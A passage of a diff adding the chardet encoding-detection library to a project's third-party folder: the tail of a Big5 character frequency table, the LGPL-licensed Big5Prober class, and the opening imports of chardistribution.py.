92,2289,1980,5150,4003,1512, 342,3150,2199,5151,2793,2218,1981, # 1392 +3360,4244, 290,1656,1317, 789, 827,2365,5152,3837,4566, 562, 581,4004,5153, 401, # 1408 +4567,2252, 94,4568,5154,1399,2794,5155,1463,2025,4569,3218,1944,5156, 828,1105, # 1424 +4245,1262,1394,5157,4246, 605,4570,5158,1784,2876,5159,2835, 819,2102, 578,2200, # 1440 +2952,5160,1502, 436,3287,4247,3288,2836,4005,2919,3472,3473,5161,2721,2320,5162, # 1456 +5163,2337,2068, 23,4571, 193, 826,3838,2103, 699,1630,4248,3098, 390,1794,1064, # 1472 +3581,5164,1579,3099,3100,1400,5165,4249,1839,1640,2877,5166,4572,4573, 137,4250, # 1488 + 598,3101,1967, 780, 104, 974,2953,5167, 278, 899, 253, 402, 572, 504, 493,1339, # 1504 +5168,4006,1275,4574,2582,2558,5169,3706,3049,3102,2253, 565,1334,2722, 863, 41, # 1520 +5170,5171,4575,5172,1657,2338, 19, 463,2760,4251, 606,5173,2999,3289,1087,2085, # 1536 +1323,2662,3000,5174,1631,1623,1750,4252,2691,5175,2878, 791,2723,2663,2339, 232, # 1552 +2421,5176,3001,1498,5177,2664,2630, 755,1366,3707,3290,3151,2026,1609, 119,1918, # 1568 +3474, 862,1026,4253,5178,4007,3839,4576,4008,4577,2265,1952,2477,5179,1125, 817, # 1584 +4254,4255,4009,1513,1766,2041,1487,4256,3050,3291,2837,3840,3152,5180,5181,1507, # 1600 +5182,2692, 733, 40,1632,1106,2879, 345,4257, 841,2531, 230,4578,3002,1847,3292, # 1616 +3475,5183,1263, 986,3476,5184, 735, 879, 254,1137, 857, 622,1300,1180,1388,1562, # 1632 +4010,4011,2954, 967,2761,2665,1349, 592,2134,1692,3361,3003,1995,4258,1679,4012, # 1648 +1902,2188,5185, 739,3708,2724,1296,1290,5186,4259,2201,2202,1922,1563,2605,2559, # 1664 +1871,2762,3004,5187, 435,5188, 343,1108, 596, 17,1751,4579,2239,3477,3709,5189, # 1680 +4580, 294,3582,2955,1693, 477, 979, 281,2042,3583, 643,2043,3710,2631,2795,2266, # 1696 +1031,2340,2135,2303,3584,4581, 367,1249,2560,5190,3585,5191,4582,1283,3362,2005, # 1712 + 240,1762,3363,4583,4584, 836,1069,3153, 474,5192,2149,2532, 268,3586,5193,3219, # 1728 +1521,1284,5194,1658,1546,4260,5195,3587,3588,5196,4261,3364,2693,1685,4262, 961, # 1744 +1673,2632, 190,2006,2203,3841,4585,4586,5197, 570,2504,3711,1490,5198,4587,2633, # 1760 +3293,1957,4588, 584,1514, 396,1045,1945,5199,4589,1968,2449,5200,5201,4590,4013, # 1776 + 619,5202,3154,3294, 215,2007,2796,2561,3220,4591,3221,4592, 763,4263,3842,4593, # 1792 +5203,5204,1958,1767,2956,3365,3712,1174, 452,1477,4594,3366,3155,5205,2838,1253, # 1808 +2387,2189,1091,2290,4264, 492,5206, 638,1169,1825,2136,1752,4014, 648, 926,1021, # 1824 +1324,4595, 520,4596, 997, 847,1007, 892,4597,3843,2267,1872,3713,2405,1785,4598, # 1840 +1953,2957,3103,3222,1728,4265,2044,3714,4599,2008,1701,3156,1551, 30,2268,4266, # 1856 +5207,2027,4600,3589,5208, 501,5209,4267, 594,3478,2166,1822,3590,3479,3591,3223, # 1872 + 829,2839,4268,5210,1680,3157,1225,4269,5211,3295,4601,4270,3158,2341,5212,4602, # 1888 +4271,5213,4015,4016,5214,1848,2388,2606,3367,5215,4603, 374,4017, 652,4272,4273, # 1904 + 375,1140, 798,5216,5217,5218,2366,4604,2269, 546,1659, 138,3051,2450,4605,5219, # 1920 +2254, 612,1849, 910, 796,3844,1740,1371, 825,3845,3846,5220,2920,2562,5221, 692, # 1936 + 444,3052,2634, 801,4606,4274,5222,1491, 244,1053,3053,4275,4276, 340,5223,4018, # 1952 +1041,3005, 293,1168, 87,1357,5224,1539, 959,5225,2240, 721, 694,4277,3847, 219, # 1968 +1478, 644,1417,3368,2666,1413,1401,1335,1389,4019,5226,5227,3006,2367,3159,1826, # 1984 + 730,1515, 184,2840, 66,4607,5228,1660,2958, 246,3369, 378,1457, 226,3480, 975, # 2000 +4020,2959,1264,3592, 674, 696,5229, 163,5230,1141,2422,2167, 713,3593,3370,4608, # 2016 +4021,5231,5232,1186, 15,5233,1079,1070,5234,1522,3224,3594, 276,1050,2725, 758, # 2032 +1126, 653,2960,3296,5235,2342, 889,3595,4022,3104,3007, 903,1250,4609,4023,3481, # 2048 +3596,1342,1681,1718, 766,3297, 286, 89,2961,3715,5236,1713,5237,2607,3371,3008, # 2064 +5238,2962,2219,3225,2880,5239,4610,2505,2533, 181, 387,1075,4024, 731,2190,3372, # 2080 +5240,3298, 310, 313,3482,2304, 770,4278, 54,3054, 189,4611,3105,3848,4025,5241, # 2096 +1230,1617,1850, 355,3597,4279,4612,3373, 111,4280,3716,1350,3160,3483,3055,4281, # 2112 +2150,3299,3598,5242,2797,4026,4027,3009, 722,2009,5243,1071, 247,1207,2343,2478, # 2128 +1378,4613,2010, 864,1437,1214,4614, 373,3849,1142,2220, 667,4615, 442,2763,2563, # 2144 +3850,4028,1969,4282,3300,1840, 837, 170,1107, 934,1336,1883,5244,5245,2119,4283, # 2160 +2841, 743,1569,5246,4616,4284, 582,2389,1418,3484,5247,1803,5248, 357,1395,1729, # 2176 +3717,3301,2423,1564,2241,5249,3106,3851,1633,4617,1114,2086,4285,1532,5250, 482, # 2192 +2451,4618,5251,5252,1492, 833,1466,5253,2726,3599,1641,2842,5254,1526,1272,3718, # 2208 +4286,1686,1795, 416,2564,1903,1954,1804,5255,3852,2798,3853,1159,2321,5256,2881, # 2224 +4619,1610,1584,3056,2424,2764, 443,3302,1163,3161,5257,5258,4029,5259,4287,2506, # 2240 +3057,4620,4030,3162,2104,1647,3600,2011,1873,4288,5260,4289, 431,3485,5261, 250, # 2256 + 97, 81,4290,5262,1648,1851,1558, 160, 848,5263, 866, 740,1694,5264,2204,2843, # 2272 +3226,4291,4621,3719,1687, 950,2479, 426, 469,3227,3720,3721,4031,5265,5266,1188, # 2288 + 424,1996, 861,3601,4292,3854,2205,2694, 168,1235,3602,4293,5267,2087,1674,4622, # 2304 +3374,3303, 220,2565,1009,5268,3855, 670,3010, 332,1208, 717,5269,5270,3603,2452, # 2320 +4032,3375,5271, 513,5272,1209,2882,3376,3163,4623,1080,5273,5274,5275,5276,2534, # 2336 +3722,3604, 815,1587,4033,4034,5277,3605,3486,3856,1254,4624,1328,3058,1390,4035, # 2352 +1741,4036,3857,4037,5278, 236,3858,2453,3304,5279,5280,3723,3859,1273,3860,4625, # 2368 +5281, 308,5282,4626, 245,4627,1852,2480,1307,2583, 430, 715,2137,2454,5283, 270, # 2384 + 199,2883,4038,5284,3606,2727,1753, 761,1754, 725,1661,1841,4628,3487,3724,5285, # 2400 +5286, 587, 14,3305, 227,2608, 326, 480,2270, 943,2765,3607, 291, 650,1884,5287, # 2416 +1702,1226, 102,1547, 62,3488, 904,4629,3489,1164,4294,5288,5289,1224,1548,2766, # 2432 + 391, 498,1493,5290,1386,1419,5291,2056,1177,4630, 813, 880,1081,2368, 566,1145, # 2448 +4631,2291,1001,1035,2566,2609,2242, 394,1286,5292,5293,2069,5294, 86,1494,1730, # 2464 +4039, 491,1588, 745, 897,2963, 843,3377,4040,2767,2884,3306,1768, 998,2221,2070, # 2480 + 397,1827,1195,1970,3725,3011,3378, 284,5295,3861,2507,2138,2120,1904,5296,4041, # 2496 +2151,4042,4295,1036,3490,1905, 114,2567,4296, 209,1527,5297,5298,2964,2844,2635, # 2512 +2390,2728,3164, 812,2568,5299,3307,5300,1559, 737,1885,3726,1210, 885, 28,2695, # 2528 +3608,3862,5301,4297,1004,1780,4632,5302, 346,1982,2222,2696,4633,3863,1742, 797, # 2544 +1642,4043,1934,1072,1384,2152, 896,4044,3308,3727,3228,2885,3609,5303,2569,1959, # 2560 +4634,2455,1786,5304,5305,5306,4045,4298,1005,1308,3728,4299,2729,4635,4636,1528, # 2576 +2610, 161,1178,4300,1983, 987,4637,1101,4301, 631,4046,1157,3229,2425,1343,1241, # 2592 +1016,2243,2570, 372, 877,2344,2508,1160, 555,1935, 911,4047,5307, 466,1170, 169, # 2608 +1051,2921,2697,3729,2481,3012,1182,2012,2571,1251,2636,5308, 992,2345,3491,1540, # 2624 +2730,1201,2071,2406,1997,2482,5309,4638, 528,1923,2191,1503,1874,1570,2369,3379, # 2640 +3309,5310, 557,1073,5311,1828,3492,2088,2271,3165,3059,3107, 767,3108,2799,4639, # 2656 +1006,4302,4640,2346,1267,2179,3730,3230, 778,4048,3231,2731,1597,2667,5312,4641, # 2672 +5313,3493,5314,5315,5316,3310,2698,1433,3311, 131, 95,1504,4049, 723,4303,3166, # 2688 +1842,3610,2768,2192,4050,2028,2105,3731,5317,3013,4051,1218,5318,3380,3232,4052, # 2704 +4304,2584, 248,1634,3864, 912,5319,2845,3732,3060,3865, 654, 53,5320,3014,5321, # 2720 +1688,4642, 777,3494,1032,4053,1425,5322, 191, 820,2121,2846, 971,4643, 931,3233, # 2736 + 135, 664, 783,3866,1998, 772,2922,1936,4054,3867,4644,2923,3234, 282,2732, 640, # 2752 +1372,3495,1127, 922, 325,3381,5323,5324, 711,2045,5325,5326,4055,2223,2800,1937, # 2768 +4056,3382,2224,2255,3868,2305,5327,4645,3869,1258,3312,4057,3235,2139,2965,4058, # 2784 +4059,5328,2225, 258,3236,4646, 101,1227,5329,3313,1755,5330,1391,3314,5331,2924, # 2800 +2057, 893,5332,5333,5334,1402,4305,2347,5335,5336,3237,3611,5337,5338, 878,1325, # 2816 +1781,2801,4647, 259,1385,2585, 744,1183,2272,4648,5339,4060,2509,5340, 684,1024, # 2832 +4306,5341, 472,3612,3496,1165,3315,4061,4062, 322,2153, 881, 455,1695,1152,1340, # 2848 + 660, 554,2154,4649,1058,4650,4307, 830,1065,3383,4063,4651,1924,5342,1703,1919, # 2864 +5343, 932,2273, 122,5344,4652, 947, 677,5345,3870,2637, 297,1906,1925,2274,4653, # 2880 +2322,3316,5346,5347,4308,5348,4309, 84,4310, 112, 989,5349, 547,1059,4064, 701, # 2896 +3613,1019,5350,4311,5351,3497, 942, 639, 457,2306,2456, 993,2966, 407, 851, 494, # 2912 +4654,3384, 927,5352,1237,5353,2426,3385, 573,4312, 680, 921,2925,1279,1875, 285, # 2928 + 790,1448,1984, 719,2168,5354,5355,4655,4065,4066,1649,5356,1541, 563,5357,1077, # 2944 +5358,3386,3061,3498, 511,3015,4067,4068,3733,4069,1268,2572,3387,3238,4656,4657, # 2960 +5359, 535,1048,1276,1189,2926,2029,3167,1438,1373,2847,2967,1134,2013,5360,4313, # 2976 +1238,2586,3109,1259,5361, 700,5362,2968,3168,3734,4314,5363,4315,1146,1876,1907, # 2992 +4658,2611,4070, 781,2427, 132,1589, 203, 147, 273,2802,2407, 898,1787,2155,4071, # 3008 +4072,5364,3871,2803,5365,5366,4659,4660,5367,3239,5368,1635,3872, 965,5369,1805, # 3024 +2699,1516,3614,1121,1082,1329,3317,4073,1449,3873, 65,1128,2848,2927,2769,1590, # 3040 +3874,5370,5371, 12,2668, 45, 976,2587,3169,4661, 517,2535,1013,1037,3240,5372, # 3056 +3875,2849,5373,3876,5374,3499,5375,2612, 614,1999,2323,3877,3110,2733,2638,5376, # 3072 +2588,4316, 599,1269,5377,1811,3735,5378,2700,3111, 759,1060, 489,1806,3388,3318, # 3088 +1358,5379,5380,2391,1387,1215,2639,2256, 490,5381,5382,4317,1759,2392,2348,5383, # 3104 +4662,3878,1908,4074,2640,1807,3241,4663,3500,3319,2770,2349, 874,5384,5385,3501, # 3120 +3736,1859, 91,2928,3737,3062,3879,4664,5386,3170,4075,2669,5387,3502,1202,1403, # 3136 +3880,2969,2536,1517,2510,4665,3503,2511,5388,4666,5389,2701,1886,1495,1731,4076, # 3152 +2370,4667,5390,2030,5391,5392,4077,2702,1216, 237,2589,4318,2324,4078,3881,4668, # 3168 +4669,2703,3615,3504, 445,4670,5393,5394,5395,5396,2771, 61,4079,3738,1823,4080, # 3184 +5397, 687,2046, 935, 925, 405,2670, 703,1096,1860,2734,4671,4081,1877,1367,2704, # 3200 +3389, 918,2106,1782,2483, 334,3320,1611,1093,4672, 564,3171,3505,3739,3390, 945, # 3216 +2641,2058,4673,5398,1926, 872,4319,5399,3506,2705,3112, 349,4320,3740,4082,4674, # 3232 +3882,4321,3741,2156,4083,4675,4676,4322,4677,2408,2047, 782,4084, 400, 251,4323, # 3248 +1624,5400,5401, 277,3742, 299,1265, 476,1191,3883,2122,4324,4325,1109, 205,5402, # 3264 +2590,1000,2157,3616,1861,5403,5404,5405,4678,5406,4679,2573, 107,2484,2158,4085, # 3280 +3507,3172,5407,1533, 541,1301, 158, 753,4326,2886,3617,5408,1696, 370,1088,4327, # 3296 +4680,3618, 579, 327, 440, 162,2244, 269,1938,1374,3508, 968,3063, 56,1396,3113, # 3312 +2107,3321,3391,5409,1927,2159,4681,3016,5410,3619,5411,5412,3743,4682,2485,5413, # 3328 +2804,5414,1650,4683,5415,2613,5416,5417,4086,2671,3392,1149,3393,4087,3884,4088, # 3344 +5418,1076, 49,5419, 951,3242,3322,3323, 450,2850, 920,5420,1812,2805,2371,4328, # 3360 +1909,1138,2372,3885,3509,5421,3243,4684,1910,1147,1518,2428,4685,3886,5422,4686, # 3376 +2393,2614, 260,1796,3244,5423,5424,3887,3324, 708,5425,3620,1704,5426,3621,1351, # 3392 +1618,3394,3017,1887, 944,4329,3395,4330,3064,3396,4331,5427,3744, 422, 413,1714, # 3408 +3325, 500,2059,2350,4332,2486,5428,1344,1911, 954,5429,1668,5430,5431,4089,2409, # 3424 +4333,3622,3888,4334,5432,2307,1318,2512,3114, 133,3115,2887,4687, 629, 31,2851, # 3440 +2706,3889,4688, 850, 949,4689,4090,2970,1732,2089,4335,1496,1853,5433,4091, 620, # 3456 +3245, 981,1242,3745,3397,1619,3746,1643,3326,2140,2457,1971,1719,3510,2169,5434, # 3472 +3246,5435,5436,3398,1829,5437,1277,4690,1565,2048,5438,1636,3623,3116,5439, 869, # 3488 +2852, 655,3890,3891,3117,4092,3018,3892,1310,3624,4691,5440,5441,5442,1733, 558, # 3504 +4692,3747, 335,1549,3065,1756,4336,3748,1946,3511,1830,1291,1192, 470,2735,2108, # 3520 +2806, 913,1054,4093,5443,1027,5444,3066,4094,4693, 982,2672,3399,3173,3512,3247, # 3536 +3248,1947,2807,5445, 571,4694,5446,1831,5447,3625,2591,1523,2429,5448,2090, 984, # 3552 +4695,3749,1960,5449,3750, 852, 923,2808,3513,3751, 969,1519, 999,2049,2325,1705, # 3568 +5450,3118, 615,1662, 151, 597,4095,2410,2326,1049, 275,4696,3752,4337, 568,3753, # 3584 +3626,2487,4338,3754,5451,2430,2275, 409,3249,5452,1566,2888,3514,1002, 769,2853, # 3600 + 194,2091,3174,3755,2226,3327,4339, 628,1505,5453,5454,1763,2180,3019,4096, 521, # 3616 +1161,2592,1788,2206,2411,4697,4097,1625,4340,4341, 412, 42,3119, 464,5455,2642, # 3632 +4698,3400,1760,1571,2889,3515,2537,1219,2207,3893,2643,2141,2373,4699,4700,3328, # 3648 +1651,3401,3627,5456,5457,3628,2488,3516,5458,3756,5459,5460,2276,2092, 460,5461, # 3664 +4701,5462,3020, 962, 588,3629, 289,3250,2644,1116, 52,5463,3067,1797,5464,5465, # 3680 +5466,1467,5467,1598,1143,3757,4342,1985,1734,1067,4702,1280,3402, 465,4703,1572, # 3696 + 510,5468,1928,2245,1813,1644,3630,5469,4704,3758,5470,5471,2673,1573,1534,5472, # 3712 +5473, 536,1808,1761,3517,3894,3175,2645,5474,5475,5476,4705,3518,2929,1912,2809, # 3728 +5477,3329,1122, 377,3251,5478, 360,5479,5480,4343,1529, 551,5481,2060,3759,1769, # 3744 +2431,5482,2930,4344,3330,3120,2327,2109,2031,4706,1404, 136,1468,1479, 672,1171, # 3760 +3252,2308, 271,3176,5483,2772,5484,2050, 678,2736, 865,1948,4707,5485,2014,4098, # 3776 +2971,5486,2737,2227,1397,3068,3760,4708,4709,1735,2931,3403,3631,5487,3895, 509, # 3792 +2854,2458,2890,3896,5488,5489,3177,3178,4710,4345,2538,4711,2309,1166,1010, 552, # 3808 + 681,1888,5490,5491,2972,2973,4099,1287,1596,1862,3179, 358, 453, 736, 175, 478, # 3824 +1117, 905,1167,1097,5492,1854,1530,5493,1706,5494,2181,3519,2292,3761,3520,3632, # 3840 +4346,2093,4347,5495,3404,1193,2489,4348,1458,2193,2208,1863,1889,1421,3331,2932, # 3856 +3069,2182,3521, 595,2123,5496,4100,5497,5498,4349,1707,2646, 223,3762,1359, 751, # 3872 +3121, 183,3522,5499,2810,3021, 419,2374, 633, 704,3897,2394, 241,5500,5501,5502, # 3888 + 838,3022,3763,2277,2773,2459,3898,1939,2051,4101,1309,3122,2246,1181,5503,1136, # 3904 +2209,3899,2375,1446,4350,2310,4712,5504,5505,4351,1055,2615, 484,3764,5506,4102, # 3920 + 625,4352,2278,3405,1499,4353,4103,5507,4104,4354,3253,2279,2280,3523,5508,5509, # 3936 +2774, 808,2616,3765,3406,4105,4355,3123,2539, 526,3407,3900,4356, 955,5510,1620, # 3952 +4357,2647,2432,5511,1429,3766,1669,1832, 994, 928,5512,3633,1260,5513,5514,5515, # 3968 +1949,2293, 741,2933,1626,4358,2738,2460, 867,1184, 362,3408,1392,5516,5517,4106, # 3984 +4359,1770,1736,3254,2934,4713,4714,1929,2707,1459,1158,5518,3070,3409,2891,1292, # 4000 +1930,2513,2855,3767,1986,1187,2072,2015,2617,4360,5519,2574,2514,2170,3768,2490, # 4016 +3332,5520,3769,4715,5521,5522, 666,1003,3023,1022,3634,4361,5523,4716,1814,2257, # 4032 + 574,3901,1603, 295,1535, 705,3902,4362, 283, 858, 417,5524,5525,3255,4717,4718, # 4048 +3071,1220,1890,1046,2281,2461,4107,1393,1599, 689,2575, 388,4363,5526,2491, 802, # 4064 +5527,2811,3903,2061,1405,2258,5528,4719,3904,2110,1052,1345,3256,1585,5529, 809, # 4080 +5530,5531,5532, 575,2739,3524, 956,1552,1469,1144,2328,5533,2329,1560,2462,3635, # 4096 +3257,4108, 616,2210,4364,3180,2183,2294,5534,1833,5535,3525,4720,5536,1319,3770, # 4112 +3771,1211,3636,1023,3258,1293,2812,5537,5538,5539,3905, 607,2311,3906, 762,2892, # 4128 +1439,4365,1360,4721,1485,3072,5540,4722,1038,4366,1450,2062,2648,4367,1379,4723, # 4144 +2593,5541,5542,4368,1352,1414,2330,2935,1172,5543,5544,3907,3908,4724,1798,1451, # 4160 +5545,5546,5547,5548,2936,4109,4110,2492,2351, 411,4111,4112,3637,3333,3124,4725, # 4176 +1561,2674,1452,4113,1375,5549,5550, 47,2974, 316,5551,1406,1591,2937,3181,5552, # 4192 +1025,2142,3125,3182, 354,2740, 884,2228,4369,2412, 508,3772, 726,3638, 996,2433, # 4208 +3639, 729,5553, 392,2194,1453,4114,4726,3773,5554,5555,2463,3640,2618,1675,2813, # 4224 + 919,2352,2975,2353,1270,4727,4115, 73,5556,5557, 647,5558,3259,2856,2259,1550, # 4240 +1346,3024,5559,1332, 883,3526,5560,5561,5562,5563,3334,2775,5564,1212, 831,1347, # 4256 +4370,4728,2331,3909,1864,3073, 720,3910,4729,4730,3911,5565,4371,5566,5567,4731, # 4272 +5568,5569,1799,4732,3774,2619,4733,3641,1645,2376,4734,5570,2938, 669,2211,2675, # 4288 +2434,5571,2893,5572,5573,1028,3260,5574,4372,2413,5575,2260,1353,5576,5577,4735, # 4304 +3183, 518,5578,4116,5579,4373,1961,5580,2143,4374,5581,5582,3025,2354,2355,3912, # 4320 + 516,1834,1454,4117,2708,4375,4736,2229,2620,1972,1129,3642,5583,2776,5584,2976, # 4336 +1422, 577,1470,3026,1524,3410,5585,5586, 432,4376,3074,3527,5587,2594,1455,2515, # 4352 +2230,1973,1175,5588,1020,2741,4118,3528,4737,5589,2742,5590,1743,1361,3075,3529, # 4368 +2649,4119,4377,4738,2295, 895, 924,4378,2171, 331,2247,3076, 166,1627,3077,1098, # 4384 +5591,1232,2894,2231,3411,4739, 657, 403,1196,2377, 542,3775,3412,1600,4379,3530, # 4400 +5592,4740,2777,3261, 576, 530,1362,4741,4742,2540,2676,3776,4120,5593, 842,3913, # 4416 +5594,2814,2032,1014,4121, 213,2709,3413, 665, 621,4380,5595,3777,2939,2435,5596, # 4432 +2436,3335,3643,3414,4743,4381,2541,4382,4744,3644,1682,4383,3531,1380,5597, 724, # 4448 +2282, 600,1670,5598,1337,1233,4745,3126,2248,5599,1621,4746,5600, 651,4384,5601, # 4464 +1612,4385,2621,5602,2857,5603,2743,2312,3078,5604, 716,2464,3079, 174,1255,2710, # 4480 +4122,3645, 548,1320,1398, 728,4123,1574,5605,1891,1197,3080,4124,5606,3081,3082, # 4496 +3778,3646,3779, 747,5607, 635,4386,4747,5608,5609,5610,4387,5611,5612,4748,5613, # 4512 +3415,4749,2437, 451,5614,3780,2542,2073,4388,2744,4389,4125,5615,1764,4750,5616, # 4528 +4390, 350,4751,2283,2395,2493,5617,4391,4126,2249,1434,4127, 488,4752, 458,4392, # 4544 +4128,3781, 771,1330,2396,3914,2576,3184,2160,2414,1553,2677,3185,4393,5618,2494, # 4560 +2895,2622,1720,2711,4394,3416,4753,5619,2543,4395,5620,3262,4396,2778,5621,2016, # 4576 +2745,5622,1155,1017,3782,3915,5623,3336,2313, 201,1865,4397,1430,5624,4129,5625, # 4592 +5626,5627,5628,5629,4398,1604,5630, 414,1866, 371,2595,4754,4755,3532,2017,3127, # 4608 +4756,1708, 960,4399, 887, 389,2172,1536,1663,1721,5631,2232,4130,2356,2940,1580, # 4624 +5632,5633,1744,4757,2544,4758,4759,5634,4760,5635,2074,5636,4761,3647,3417,2896, # 4640 +4400,5637,4401,2650,3418,2815, 673,2712,2465, 709,3533,4131,3648,4402,5638,1148, # 4656 + 502, 634,5639,5640,1204,4762,3649,1575,4763,2623,3783,5641,3784,3128, 948,3263, # 4672 + 121,1745,3916,1110,5642,4403,3083,2516,3027,4132,3785,1151,1771,3917,1488,4133, # 4688 +1987,5643,2438,3534,5644,5645,2094,5646,4404,3918,1213,1407,2816, 531,2746,2545, # 4704 +3264,1011,1537,4764,2779,4405,3129,1061,5647,3786,3787,1867,2897,5648,2018, 120, # 4720 +4406,4407,2063,3650,3265,2314,3919,2678,3419,1955,4765,4134,5649,3535,1047,2713, # 4736 +1266,5650,1368,4766,2858, 649,3420,3920,2546,2747,1102,2859,2679,5651,5652,2000, # 4752 +5653,1111,3651,2977,5654,2495,3921,3652,2817,1855,3421,3788,5655,5656,3422,2415, # 4768 +2898,3337,3266,3653,5657,2577,5658,3654,2818,4135,1460, 856,5659,3655,5660,2899, # 4784 +2978,5661,2900,3922,5662,4408, 632,2517, 875,3923,1697,3924,2296,5663,5664,4767, # 4800 +3028,1239, 580,4768,4409,5665, 914, 936,2075,1190,4136,1039,2124,5666,5667,5668, # 4816 +5669,3423,1473,5670,1354,4410,3925,4769,2173,3084,4137, 915,3338,4411,4412,3339, # 4832 +1605,1835,5671,2748, 398,3656,4413,3926,4138, 328,1913,2860,4139,3927,1331,4414, # 4848 +3029, 937,4415,5672,3657,4140,4141,3424,2161,4770,3425, 524, 742, 538,3085,1012, # 4864 +5673,5674,3928,2466,5675, 658,1103, 225,3929,5676,5677,4771,5678,4772,5679,3267, # 4880 +1243,5680,4142, 963,2250,4773,5681,2714,3658,3186,5682,5683,2596,2332,5684,4774, # 4896 +5685,5686,5687,3536, 957,3426,2547,2033,1931,2941,2467, 870,2019,3659,1746,2780, # 4912 +2781,2439,2468,5688,3930,5689,3789,3130,3790,3537,3427,3791,5690,1179,3086,5691, # 4928 +3187,2378,4416,3792,2548,3188,3131,2749,4143,5692,3428,1556,2549,2297, 977,2901, # 4944 +2034,4144,1205,3429,5693,1765,3430,3189,2125,1271, 714,1689,4775,3538,5694,2333, # 4960 +3931, 533,4417,3660,2184, 617,5695,2469,3340,3539,2315,5696,5697,3190,5698,5699, # 4976 +3932,1988, 618, 427,2651,3540,3431,5700,5701,1244,1690,5702,2819,4418,4776,5703, # 4992 +3541,4777,5704,2284,1576, 473,3661,4419,3432, 972,5705,3662,5706,3087,5707,5708, # 5008 +4778,4779,5709,3793,4145,4146,5710, 153,4780, 356,5711,1892,2902,4420,2144, 408, # 5024 + 803,2357,5712,3933,5713,4421,1646,2578,2518,4781,4782,3934,5714,3935,4422,5715, # 5040 +2416,3433, 752,5716,5717,1962,3341,2979,5718, 746,3030,2470,4783,4423,3794, 698, # 5056 +4784,1893,4424,3663,2550,4785,3664,3936,5719,3191,3434,5720,1824,1302,4147,2715, # 5072 +3937,1974,4425,5721,4426,3192, 823,1303,1288,1236,2861,3542,4148,3435, 774,3938, # 5088 +5722,1581,4786,1304,2862,3939,4787,5723,2440,2162,1083,3268,4427,4149,4428, 344, # 5104 +1173, 288,2316, 454,1683,5724,5725,1461,4788,4150,2597,5726,5727,4789, 985, 894, # 5120 +5728,3436,3193,5729,1914,2942,3795,1989,5730,2111,1975,5731,4151,5732,2579,1194, # 5136 + 425,5733,4790,3194,1245,3796,4429,5734,5735,2863,5736, 636,4791,1856,3940, 760, # 5152 +1800,5737,4430,2212,1508,4792,4152,1894,1684,2298,5738,5739,4793,4431,4432,2213, # 5168 + 479,5740,5741, 832,5742,4153,2496,5743,2980,2497,3797, 990,3132, 627,1815,2652, # 5184 +4433,1582,4434,2126,2112,3543,4794,5744, 799,4435,3195,5745,4795,2113,1737,3031, # 5200 +1018, 543, 754,4436,3342,1676,4796,4797,4154,4798,1489,5746,3544,5747,2624,2903, # 5216 +4155,5748,5749,2981,5750,5751,5752,5753,3196,4799,4800,2185,1722,5754,3269,3270, # 5232 +1843,3665,1715, 481, 365,1976,1857,5755,5756,1963,2498,4801,5757,2127,3666,3271, # 5248 + 433,1895,2064,2076,5758, 602,2750,5759,5760,5761,5762,5763,3032,1628,3437,5764, # 5264 +3197,4802,4156,2904,4803,2519,5765,2551,2782,5766,5767,5768,3343,4804,2905,5769, # 5280 +4805,5770,2864,4806,4807,1221,2982,4157,2520,5771,5772,5773,1868,1990,5774,5775, # 5296 +5776,1896,5777,5778,4808,1897,4158, 318,5779,2095,4159,4437,5780,5781, 485,5782, # 5312 + 938,3941, 553,2680, 116,5783,3942,3667,5784,3545,2681,2783,3438,3344,2820,5785, # 5328 +3668,2943,4160,1747,2944,2983,5786,5787, 207,5788,4809,5789,4810,2521,5790,3033, # 5344 + 890,3669,3943,5791,1878,3798,3439,5792,2186,2358,3440,1652,5793,5794,5795, 941, # 5360 +2299, 208,3546,4161,2020, 330,4438,3944,2906,2499,3799,4439,4811,5796,5797,5798, # 5376 +) + diff --git a/src/thirdparty/chardet/big5prober.py b/src/thirdparty/chardet/big5prober.py new file mode 100644 index 0000000000..98f9970122 --- /dev/null +++ b/src/thirdparty/chardet/big5prober.py @@ -0,0 +1,47 @@ +######################## BEGIN LICENSE BLOCK ######################## +# The Original Code is Mozilla Communicator client code. +# +# The Initial Developer of the Original Code is +# Netscape Communications Corporation. +# Portions created by the Initial Developer are Copyright (C) 1998 +# the Initial Developer. All Rights Reserved. +# +# Contributor(s): +# Mark Pilgrim - port to Python +# +# This library is free software; you can redistribute it and/or +# modify it under the terms of the GNU Lesser General Public +# License as published by the Free Software Foundation; either +# version 2.1 of the License, or (at your option) any later version. +# +# This library is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# Lesser General Public License for more details. +# +# You should have received a copy of the GNU Lesser General Public +# License along with this library; if not, write to the Free Software +# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA +# 02110-1301 USA +######################### END LICENSE BLOCK ######################### + +from .mbcharsetprober import MultiByteCharSetProber +from .codingstatemachine import CodingStateMachine +from .chardistribution import Big5DistributionAnalysis +from .mbcssm import BIG5_SM_MODEL + + +class Big5Prober(MultiByteCharSetProber): + def __init__(self): + super(Big5Prober, self).__init__() + self.coding_sm = CodingStateMachine(BIG5_SM_MODEL) + self.distribution_analyzer = Big5DistributionAnalysis() + self.reset() + + @property + def charset_name(self): + return "Big5" + + @property + def language(self): + return "Chinese" diff --git a/src/thirdparty/chardet/chardistribution.py b/src/thirdparty/chardet/chardistribution.py new file mode 100644 index 0000000000..c0395f4a45 --- /dev/null +++ b/src/thirdparty/chardet/chardistribution.py @@ -0,0 +1,233 @@ +######################## BEGIN LICENSE BLOCK ######################## +# The Original Code is Mozilla Communicator client code. +# +# The Initial Developer of the Original Code is +# Netscape Communications Corporation. +# Portions created by the Initial Developer are Copyright (C) 1998 +# the Initial Developer. All Rights Reserved. +# +# Contributor(s): +# Mark Pilgrim - port to Python +# +# This library is free software; you can redistribute it and/or +# modify it under the terms of the GNU Lesser General Public +# License as published by the Free Software Foundation; either +# version 2.1 of the License, or (at your option) any later version. +# +# This library is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# Lesser General Public License for more details. +# +# You should have received a copy of the GNU Lesser General Public +# License along with this library; if not, write to the Free Software +# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA +# 02110-1301 USA +######################### END LICENSE BLOCK ######################### + +from .euctwfreq import (EUCTW_CHAR_TO_FREQ_ORDER, EUCTW_TABLE_SIZE, + EUCTW_TYPICAL_DISTRIBUTION_RATIO) +from .euckrfreq import (EUCKR_CHAR_TO_FREQ_ORDER, EUCKR_TABLE_SIZE, + EUCKR_TYPICAL_DISTRIBUTION_RATIO) +from .gb2312freq import 